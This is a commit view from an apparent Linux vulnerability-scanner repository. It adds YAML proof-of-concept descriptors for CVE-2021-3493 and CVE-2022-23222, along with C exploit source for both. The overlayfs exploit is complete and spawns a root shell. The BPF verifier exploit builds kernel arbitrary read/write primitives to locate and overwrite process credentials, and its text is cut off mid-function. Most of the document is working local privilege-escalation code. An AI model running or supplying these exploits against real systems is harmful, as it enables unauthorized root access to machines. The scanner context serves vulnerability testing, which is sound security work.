mirror of https://gitee.com/openkylin/genmai.git
Merge branch 'master' of gitee.com:openkylin/genmai into feat_CVE_2022_1679
Signed-off-by: candychips <by2239109_lmh@buaa.edu.cn>
This commit is contained in:
commit
5e89118907
|
@ -0,0 +1,43 @@
|
|||
FormatVer: 20220411
|
||||
Id: CVE-2021-3493
|
||||
Belong: kernel
|
||||
PocHazardLevel: high
|
||||
Source:
|
||||
SiteInfo:
|
||||
Name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核
|
||||
Severity: high
|
||||
Description:
|
||||
Linux内核中overlayfs文件系统中的Ubuntu特定问题,它未正确验证关于用户名称空间的文件系统功能的应用。由于Ubuntu附带了一个允许非特权的overlayfs挂载的补丁,因此本地攻击者可以使用它来获得更高的特权。
|
||||
ScopeOfInfluence:
|
||||
Ubuntu 20.10
|
||||
Ubuntu 20.04 LTS
|
||||
Ubuntu 18.04 LTS
|
||||
Ubuntu 16.04 LTS
|
||||
Ubuntu 14.04 ESM
|
||||
References:
|
||||
- https://www.openwall.com/lists/oss-security/2021/04/16/1
|
||||
- https://github.com/briskets/CVE-2021-3493
|
||||
SiteClassification:
|
||||
CvssMetrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
||||
CvssScore: 7.8
|
||||
CveId: CVE-2021-3493
|
||||
CweId: CWE-269
|
||||
CnvdId: None
|
||||
KveId: None
|
||||
Tags:
|
||||
- 权限管理不当
|
||||
SiteRequests:
|
||||
Implement:
|
||||
RawTypes:
|
||||
- implementOne
|
||||
ImArray:
|
||||
- inter:
|
||||
InterArgs :
|
||||
Exec : exploit
|
||||
Args :
|
||||
ExpireTime: 30 #second
|
||||
Inter:
|
||||
- "<<:id\n" #输入'id\n'
|
||||
- ">.:\n" #等待输出'\n'
|
||||
- ">?:uid=0(root) gid=0(root) groups=0(root)" #判断输出为'uid=0(root) gid=0(root) groups=0(root)'为成功
|
||||
Condition: None
|
Binary file not shown.
|
@ -0,0 +1,146 @@
|
|||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <err.h>
|
||||
#include <errno.h>
|
||||
#include <sched.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/mount.h>
|
||||
|
||||
// #include <attr/xattr.h>
|
||||
// #include <sys/xattr.h>
|
||||
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);
|
||||
|
||||
#define DIR_BASE "./ovlcap"
|
||||
#define DIR_WORK DIR_BASE "/work"
|
||||
#define DIR_LOWER DIR_BASE "/lower"
|
||||
#define DIR_UPPER DIR_BASE "/upper"
|
||||
#define DIR_MERGE DIR_BASE "/merge"
|
||||
#define BIN_MERGE DIR_MERGE "/magic"
|
||||
#define BIN_UPPER DIR_UPPER "/magic"
|
||||
|
||||
|
||||
static void xmkdir(const char *path, mode_t mode)
|
||||
{
|
||||
if (mkdir(path, mode) == -1 && errno != EEXIST)
|
||||
err(1, "mkdir %s", path);
|
||||
}
|
||||
|
||||
static void xwritefile(const char *path, const char *data)
|
||||
{
|
||||
int fd = open(path, O_WRONLY);
|
||||
if (fd == -1)
|
||||
err(1, "open %s", path);
|
||||
ssize_t len = (ssize_t) strlen(data);
|
||||
if (write(fd, data, len) != len)
|
||||
err(1, "write %s", path);
|
||||
close(fd);
|
||||
}
|
||||
|
||||
static void xcopyfile(const char *src, const char *dst, mode_t mode)
|
||||
{
|
||||
int fi, fo;
|
||||
|
||||
if ((fi = open(src, O_RDONLY)) == -1)
|
||||
err(1, "open %s", src);
|
||||
if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
|
||||
err(1, "open %s", dst);
|
||||
|
||||
char buf[4096];
|
||||
ssize_t rd, wr;
|
||||
|
||||
for (;;) {
|
||||
rd = read(fi, buf, sizeof(buf));
|
||||
if (rd == 0) {
|
||||
break;
|
||||
} else if (rd == -1) {
|
||||
if (errno == EINTR)
|
||||
continue;
|
||||
err(1, "read %s", src);
|
||||
}
|
||||
|
||||
char *p = buf;
|
||||
while (rd > 0) {
|
||||
wr = write(fo, p, rd);
|
||||
if (wr == -1) {
|
||||
if (errno == EINTR)
|
||||
continue;
|
||||
err(1, "write %s", dst);
|
||||
}
|
||||
p += wr;
|
||||
rd -= wr;
|
||||
}
|
||||
}
|
||||
|
||||
close(fi);
|
||||
close(fo);
|
||||
}
|
||||
|
||||
static int exploit()
|
||||
{
|
||||
char buf[4096];
|
||||
|
||||
sprintf(buf, "rm -rf '%s/'", DIR_BASE);
|
||||
system(buf);
|
||||
|
||||
xmkdir(DIR_BASE, 0777);
|
||||
xmkdir(DIR_WORK, 0777);
|
||||
xmkdir(DIR_LOWER, 0777);
|
||||
xmkdir(DIR_UPPER, 0777);
|
||||
xmkdir(DIR_MERGE, 0777);
|
||||
|
||||
uid_t uid = getuid();
|
||||
gid_t gid = getgid();
|
||||
|
||||
if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
|
||||
err(1, "unshare");
|
||||
|
||||
xwritefile("/proc/self/setgroups", "deny");
|
||||
|
||||
sprintf(buf, "0 %d 1", uid);
|
||||
xwritefile("/proc/self/uid_map", buf);
|
||||
|
||||
sprintf(buf, "0 %d 1", gid);
|
||||
xwritefile("/proc/self/gid_map", buf);
|
||||
|
||||
sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
|
||||
if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
|
||||
err(1, "mount %s", DIR_MERGE);
|
||||
|
||||
// all+ep
|
||||
char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";
|
||||
|
||||
xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
|
||||
if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
|
||||
err(1, "setxattr %s", BIN_MERGE);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
|
||||
setuid(0);
|
||||
setgid(0);
|
||||
execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
|
||||
err(1, "execl /bin/bash");
|
||||
}
|
||||
|
||||
pid_t child = fork();
|
||||
if (child == -1)
|
||||
err(1, "fork");
|
||||
|
||||
if (child == 0) {
|
||||
_exit(exploit());
|
||||
} else {
|
||||
waitpid(child, NULL, 0);
|
||||
}
|
||||
|
||||
execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
|
||||
err(1, "execl %s", BIN_UPPER);
|
||||
}
|
|
@ -0,0 +1,48 @@
|
|||
FormatVer: 20230309
|
||||
Id: CVE-2022-23222
|
||||
Belong: kernel
|
||||
PocHazardLevel: high
|
||||
Source: https://github.com/tr3ee/CVE-2022-23222
|
||||
SiteInfo:
|
||||
Name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核
|
||||
Severity: High
|
||||
Description: 由于 Linux 内核的 BPF 验证器存在一个空指针漏洞,没有对 *_OR_NULL 指针类型进行限制,允许这些类型进行指针运算。攻击者可利用该漏洞在获得低权限的情况下,构造恶意数据执行空指针引用攻击,最终获取服务器 root 权限。
|
||||
ScopeOfInfluence:
|
||||
kernel(>=5.8 && <=5.16)
|
||||
References:
|
||||
- https://www.openwall.com/lists/oss-security/2022/06/04/3
|
||||
- https://security.netapp.com/advisory/ntap-20220217-0002/
|
||||
SiteClassification:
|
||||
CvssMetrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
||||
CvssScore: 7.8
|
||||
CveId: CVE-2022-23222
|
||||
CweId: CWE-476
|
||||
CnvdId: None
|
||||
KveId: None
|
||||
Tags:
|
||||
- 权限提升
|
||||
SiteRequests:
|
||||
Implement:
|
||||
ImArray:
|
||||
- Inter:
|
||||
InterArgs :
|
||||
Exec : CVE-2022-23222_x86_64
|
||||
Args :
|
||||
ExpireTime: 30 #second
|
||||
|
||||
# < input
|
||||
# > output
|
||||
# . wait
|
||||
# ? condition
|
||||
# : content
|
||||
#
|
||||
#组合起来
|
||||
# >. 等待直到输出
|
||||
# << 输入字符
|
||||
# >?判断条件
|
||||
Inter:
|
||||
- ">.:Enjoy root!"
|
||||
- "<<:whoami\n"
|
||||
- ">.:\n"
|
||||
- ">?:root"
|
||||
Condition: None
|
Binary file not shown.
|
@ -0,0 +1,12 @@
|
|||
EXP := exploit
|
||||
HDRS := $(sort $(wildcard include/*.h))
|
||||
|
||||
CFLAGS += -I include -static -w
|
||||
|
||||
all: $(EXP)
|
||||
|
||||
%: %.c $(HDRS)
|
||||
$(CC) $(CFLAGS) -o $@ $<
|
||||
|
||||
clean:
|
||||
rm -f $(EXP)
|
|
@ -0,0 +1,532 @@
|
|||
#include <signal.h>
|
||||
#include <sys/prctl.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
#include "bpf.h"
|
||||
#include "config.h"
|
||||
#include "debug.h"
|
||||
#include "helper.h"
|
||||
|
||||
typedef struct {
|
||||
int comm_fd;
|
||||
int ringbuf_fd;
|
||||
|
||||
int arbitrary_read_prog;
|
||||
int arbitrary_write_prog;
|
||||
|
||||
pid_t processes[PROC_NUM];
|
||||
|
||||
kaddr_t array_map;
|
||||
kaddr_t cred;
|
||||
|
||||
union {
|
||||
u8 bytes[PAGE_SIZE*8];
|
||||
u16 words[0];
|
||||
u32 dwords[0];
|
||||
u64 qwords[0];
|
||||
kaddr_t ptrs[0];
|
||||
};
|
||||
} context_t;
|
||||
|
||||
typedef struct {
|
||||
const char* name;
|
||||
int (*func)(context_t *ctx);
|
||||
int ignore_error;
|
||||
} phase_t;
|
||||
|
||||
int create_bpf_maps(context_t *ctx)
|
||||
{
|
||||
int ret = 0;
|
||||
|
||||
ret = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(u32), PAGE_SIZE, 1);
|
||||
if (ret < 0) {
|
||||
WARNF("Failed to create comm map: %d (%s)", ret, strerror(-ret));
|
||||
return ret;
|
||||
}
|
||||
ctx->comm_fd = ret;
|
||||
|
||||
if ((ret = bpf_create_map(BPF_MAP_TYPE_RINGBUF, 0, 0, PAGE_SIZE)) < 0) {
|
||||
WARNF("Could not create ringbuf map: %d (%s)", ret, strerror(-ret));
|
||||
return ret;
|
||||
}
|
||||
ctx->ringbuf_fd = ret;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int do_leak(context_t *ctx)
|
||||
{
|
||||
int ret = -1;
|
||||
struct bpf_insn insn[] = {
|
||||
// r9 = r1
|
||||
BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),
|
||||
|
||||
// r0 = bpf_lookup_elem(ctx->comm_fd, 0)
|
||||
BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
|
||||
BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0),
|
||||
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
|
||||
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
|
||||
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
|
||||
|
||||
// if (r0 == NULL) exit(1)
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
|
||||
BPF_MOV64_IMM(BPF_REG_0, 1),
|
||||
BPF_EXIT_INSN(),
|
||||
|
||||
// r8 = r0
|
||||
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
|
||||
|
||||
// r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0)
|
||||
BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd),
|
||||
BPF_MOV64_IMM(BPF_REG_2, PAGE_SIZE),
|
||||
BPF_MOV64_IMM(BPF_REG_3, 0x00),
|
||||
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),
|
||||
|
||||
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
|
||||
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),
|
||||
|
||||
// if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); }
|
||||
BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5),
|
||||
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
|
||||
BPF_MOV64_IMM(BPF_REG_2, 1),
|
||||
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
|
||||
BPF_MOV64_IMM(BPF_REG_0, 2),
|
||||
BPF_EXIT_INSN(),
|
||||
|
||||
// verifier believe r0 = 0 and r1 = 0. However, r0 = 0 and r1 = 1 on runtime.
|
||||
|
||||
// r7 = r1 + 8
|
||||
BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),
|
||||
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 8),
|
||||
|
||||
// verifier believe r7 = 8, but r7 = 9 actually.
|
||||
|
||||
// store the array pointer (0xFFFF..........10 + 0xE0)
|
||||
BPF_MOV64_REG(BPF_REG_6, BPF_REG_8),
|
||||
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0xE0),
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_6, -8),
|
||||
|
||||
// partial overwrite array pointer on stack
|
||||
|
||||
// r0 = bpf_skb_load_bytes_relative(r9, 0, r8, r7, 0)
|
||||
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),
|
||||
BPF_MOV64_IMM(BPF_REG_2, 0),
|
||||
BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
|
||||
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -16),
|
||||
BPF_MOV64_REG(BPF_REG_4, BPF_REG_7),
|
||||
BPF_MOV64_IMM(BPF_REG_5, 1),
|
||||
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes_relative),
|
||||
|
||||
// r6 = 0xFFFF..........00 (off = 0xE0)
|
||||
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_10, -8),
|
||||
BPF_ALU64_IMM(BPF_SUB, BPF_REG_6, 0xE0),
|
||||
|
||||
|
||||
// map_update_elem(ctx->comm_fd, 0, r6, 0)
|
||||
BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
|
||||
BPF_MOV64_REG(BPF_REG_2, BPF_REG_8),
|
||||
BPF_MOV64_REG(BPF_REG_3, BPF_REG_6),
|
||||
BPF_MOV64_IMM(BPF_REG_4, 0),
|
||||
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_update_elem),
|
||||
|
||||
BPF_MOV64_IMM(BPF_REG_0, 0),
|
||||
BPF_EXIT_INSN()
|
||||
};
|
||||
|
||||
int prog = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, sizeof(insn) / sizeof(insn[0]), "");
|
||||
if (prog < 0) {
|
||||
WARNF("Could not load program(do_leak):\n %s", bpf_log_buf);
|
||||
goto abort;
|
||||
}
|
||||
|
||||
int err = bpf_prog_skb_run(prog, ctx->bytes, 8);
|
||||
|
||||
if (err != 0) {
|
||||
WARNF("Could not run program(do_leak): %d (%s)", err, strerror(err));
|
||||
goto abort;
|
||||
}
|
||||
|
||||
int key = 0;
|
||||
err = bpf_lookup_elem(ctx->comm_fd, &key, ctx->bytes);
|
||||
if (err != 0) {
|
||||
WARNF("Could not lookup comm map: %d (%s)", err, strerror(err));
|
||||
goto abort;
|
||||
}
|
||||
|
||||
u64 array_map = (u64)ctx->ptrs[20] & (~0xFFL);
|
||||
if ((array_map&0xFFFFF00000000000) != 0xFFFF800000000000) {
|
||||
WARNF("Could not leak array map: got %p", (kaddr_t)array_map);
|
||||
goto abort;
|
||||
}
|
||||
|
||||
ctx->array_map = (kaddr_t)array_map;
|
||||
DEBUGF("array_map @ %p", ctx->array_map);
|
||||
|
||||
ret = 0;
|
||||
|
||||
abort:
|
||||
if (prog > 0) close(prog);
|
||||
return ret;
|
||||
}
|
||||
|
||||
int prepare_arbitrary_rw(context_t *ctx)
|
||||
{
|
||||
int arbitrary_read_prog = 0;
|
||||
int arbitrary_write_prog = 0;
|
||||
|
||||
struct bpf_insn arbitrary_read[] = {
|
||||
// r9 = r1
|
||||
BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),
|
||||
|
||||
// r0 = bpf_lookup_elem(ctx->comm_fd, 0)
|
||||
BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
|
||||
BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0),
|
||||
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
|
||||
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
|
||||
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
|
||||
|
||||
// if (r0 == NULL) exit(1)
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
|
||||
BPF_MOV64_IMM(BPF_REG_0, 1),
|
||||
BPF_EXIT_INSN(),
|
||||
|
||||
// r8 = r0
|
||||
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
|
||||
|
||||
// r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0)
|
||||
BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd),
|
||||
BPF_MOV64_IMM(BPF_REG_2, PAGE_SIZE),
|
||||
BPF_MOV64_IMM(BPF_REG_3, 0x00),
|
||||
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),
|
||||
|
||||
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
|
||||
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),
|
||||
|
||||
// if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); }
|
||||
BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5),
|
||||
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
|
||||
BPF_MOV64_IMM(BPF_REG_2, 1),
|
||||
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
|
||||
BPF_MOV64_IMM(BPF_REG_0, 2),
|
||||
BPF_EXIT_INSN(),
|
||||
|
||||
// verifier believe r0 = 0 and r1 = 0. However, r0 = 0 and r1 = 1 on runtime.
|
||||
|
||||
// r7 = (r1 + 1) * 8
|
||||
BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),
|
||||
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 1),
|
||||
BPF_ALU64_IMM(BPF_MUL, BPF_REG_7, 8),
|
||||
|
||||
// verifier believe r7 = 8, but r7 = 16 actually.
|
||||
|
||||
// store the array pointer
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_8, -8),
|
||||
|
||||
// overwrite array pointer on stack
|
||||
|
||||
// r0 = bpf_skb_load_bytes_relative(r9, 0, r8, r7, 0)
|
||||
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),
|
||||
BPF_MOV64_IMM(BPF_REG_2, 0),
|
||||
BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
|
||||
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -16),
|
||||
BPF_MOV64_REG(BPF_REG_4, BPF_REG_7),
|
||||
BPF_MOV64_IMM(BPF_REG_5, 1),
|
||||
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes_relative),
|
||||
|
||||
// fetch our arbitrary address pointer
|
||||
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_10, -8),
|
||||
|
||||
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_6, 0),
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_0, 0),
|
||||
|
||||
BPF_MOV64_IMM(BPF_REG_0, 0),
|
||||
BPF_EXIT_INSN()
|
||||
};
|
||||
|
||||
arbitrary_read_prog = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, arbitrary_read, sizeof(arbitrary_read) / sizeof(arbitrary_read[0]), "");
|
||||
if (arbitrary_read_prog < 0) {
|
||||
WARNF("Could not load program(arbitrary_write):\n %s", bpf_log_buf);
|
||||
goto abort;
|
||||
}
|
||||
|
||||
struct bpf_insn arbitrary_write[] = {
|
||||
// r9 = r1
|
||||
BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),
|
||||
|
||||
// r0 = bpf_lookup_elem(ctx->comm_fd, 0)
|
||||
BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
|
||||
BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0),
|
||||
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
|
||||
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
|
||||
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
|
||||
|
||||
// if (r0 == NULL) exit(1)
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
|
||||
BPF_MOV64_IMM(BPF_REG_0, 1),
|
||||
BPF_EXIT_INSN(),
|
||||
|
||||
// r8 = r0
|
||||
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
|
||||
|
||||
// r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0)
|
||||
BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd),
|
||||
BPF_MOV64_IMM(BPF_REG_2, PAGE_SIZE),
|
||||
BPF_MOV64_IMM(BPF_REG_3, 0x00),
|
||||
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),
|
||||
|
||||
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
|
||||
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),
|
||||
|
||||
// if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); }
|
||||
BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5),
|
||||
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
|
||||
BPF_MOV64_IMM(BPF_REG_2, 1),
|
||||
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
|
||||
BPF_MOV64_IMM(BPF_REG_0, 2),
|
||||
BPF_EXIT_INSN(),
|
||||
|
||||
// verifier believe r0 = 0 and r1 = 0. However, r0 = 0 and r1 = 1 on runtime.
|
||||
|
||||
// r7 = (r1 + 1) * 8
|
||||
BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),
|
||||
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 1),
|
||||
BPF_ALU64_IMM(BPF_MUL, BPF_REG_7, 8),
|
||||
|
||||
// verifier believe r7 = 8, but r7 = 16 actually.
|
||||
|
||||
// store the array pointer
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_8, -8),
|
||||
|
||||
// overwrite array pointer on stack
|
||||
|
||||
// r0 = bpf_skb_load_bytes_relative(r9, 0, r8, r7, 0)
|
||||
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),
|
||||
BPF_MOV64_IMM(BPF_REG_2, 0),
|
||||
BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
|
||||
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -16),
|
||||
BPF_MOV64_REG(BPF_REG_4, BPF_REG_7),
|
||||
BPF_MOV64_IMM(BPF_REG_5, 1),
|
||||
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes_relative),
|
||||
|
||||
// fetch our arbitrary address pointer
|
||||
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_10, -8),
|
||||
|
||||
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_8, 0),
|
||||
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_8, 8),
|
||||
|
||||
// if (r0 == 0) { *(u64*)r6 = r1 }
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_1, 0),
|
||||
BPF_JMP_IMM(BPF_JA, 0, 0, 1),
|
||||
// else { *(u32*)r6 = r1 }
|
||||
BPF_STX_MEM(BPF_W, BPF_REG_6, BPF_REG_1, 0),
|
||||
|
||||
BPF_MOV64_IMM(BPF_REG_0, 0),
|
||||
BPF_EXIT_INSN()
|
||||
};
|
||||
|
||||
arbitrary_write_prog = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, arbitrary_write, sizeof(arbitrary_write) / sizeof(arbitrary_read[0]), "");
|
||||
if (arbitrary_write_prog < 0) {
|
||||
WARNF("Could not load program(arbitrary_write):\n %s", bpf_log_buf);
|
||||
goto abort;
|
||||
}
|
||||
|
||||
ctx->arbitrary_read_prog = arbitrary_read_prog;
|
||||
ctx->arbitrary_write_prog = arbitrary_write_prog;
|
||||
return 0;
|
||||
|
||||
abort:
|
||||
if (arbitrary_read_prog > 0) close(arbitrary_read_prog);
|
||||
if (arbitrary_write_prog > 0) close(arbitrary_write_prog);
|
||||
return -1;
|
||||
}
|
||||
|
||||
int spawn_processes(context_t *ctx)
|
||||
{
|
||||
for (int i = 0; i < PROC_NUM; i++)
|
||||
{
|
||||
pid_t child = fork();
|
||||
if (child == 0) {
|
||||
if (prctl(PR_SET_NAME, __ID__, 0, 0, 0) != 0) {
|
||||
WARNF("Could not set name");
|
||||
}
|
||||
uid_t old = getuid();
|
||||
kill(getpid(), SIGSTOP);
|
||||
uid_t uid = getuid();
|
||||
if (uid == 0 && old != uid) {
|
||||
OKF("Enjoy root!");
|
||||
system("/bin/sh");
|
||||
}
|
||||
exit(uid);
|
||||
}
|
||||
if (child < 0) {
|
||||
return child;
|
||||
}
|
||||
ctx->processes[i] = child;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int arbitrary_read(context_t *ctx, kaddr_t addr, u64 *val, int bpf_size)
|
||||
{
|
||||
ctx->ptrs[0] = addr;
|
||||
ctx->ptrs[1] = addr;
|
||||
|
||||
int err = bpf_prog_skb_run(ctx->arbitrary_read_prog, ctx->ptrs, 0x100);
|
||||
if (err != 0) {
|
||||
WARNF("Could not run program(arbitrary_read): %d (%s)", err, strerror(err));
|
||||
return -1;
|
||||
}
|
||||
|
||||
int key = 0;
|
||||
err = bpf_lookup_elem(ctx->comm_fd, &key, ctx->bytes);
|
||||
if (err != 0) {
|
||||
WARNF("Could not lookup comm map: %d (%s)", err, strerror(err));
|
||||
return -1;
|
||||
}
|
||||
|
||||
*val = ctx->qwords[0];
|
||||
return 0;
|
||||
}
|
||||
|
||||
int arbitrary_write(context_t *ctx, kaddr_t addr, u64 val, int bpf_size)
|
||||
{
|
||||
int err = 0;
|
||||
ctx->qwords[0] = bpf_size == BPF_DW ? 0 : 1;
|
||||
ctx->qwords[1] = val;
|
||||
|
||||
err = bpf_update_elem(ctx->comm_fd, &err, ctx->qwords, 0);
|
||||
if (err != 0) {
|
||||
WARNF("Could not set up value on program(arbitrary_write): %d (%s)", err, strerror(err));
|
||||
return -1;
|
||||
}
|
||||
|
||||
ctx->ptrs[0] = addr;
|
||||
ctx->ptrs[1] = addr;
|
||||
|
||||
err = bpf_prog_skb_run(ctx->arbitrary_write_prog, ctx->ptrs, 0x100);
|
||||
if (err != 0) {
|
||||
WARNF("Could not run program(arbitrary_write): %d (%s)", err, strerror(err));
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int find_cred(context_t *ctx)
|
||||
{
|
||||
for (int i = 0; i < PAGE_SIZE*PAGE_SIZE ; i++)
|
||||
{
|
||||
u64 val = 0;
|
||||
kaddr_t addr = ctx->array_map + PAGE_SIZE + i*0x8;
|
||||
if (arbitrary_read(ctx, addr, &val, BPF_DW) != 0) {
|
||||
WARNF("Could not read kernel address %p", addr);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// DEBUGF("addr %p = 0x%016x", addr, val);
|
||||
|
||||
if (memcmp(&val, __ID__, sizeof(val)) == 0) {
|
||||
kaddr_t cred_from_task = addr - 0x10;
|
||||
|
||||
if (arbitrary_read(ctx, cred_from_task + 8, &val, BPF_DW) != 0) {
|
||||
WARNF("Could not read kernel address %p + 8", cred_from_task);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (val == 0 && arbitrary_read(ctx, cred_from_task, &val, BPF_DW) != 0) {
|
||||
WARNF("Could not read kernel address %p + 0", cred_from_task);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (val != 0) {
|
||||
ctx->cred = (kaddr_t)val;
|
||||
DEBUGF("task struct ~ %p", cred_from_task);
|
||||
DEBUGF("cred @ %p", ctx->cred);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
int overwrite_cred(context_t *ctx)
|
||||
{
|
||||
if (arbitrary_write(ctx, ctx->cred + OFFSET_uid_from_cred, 0, BPF_W) != 0) {
|
||||
return -1;
|
||||
}
|
||||
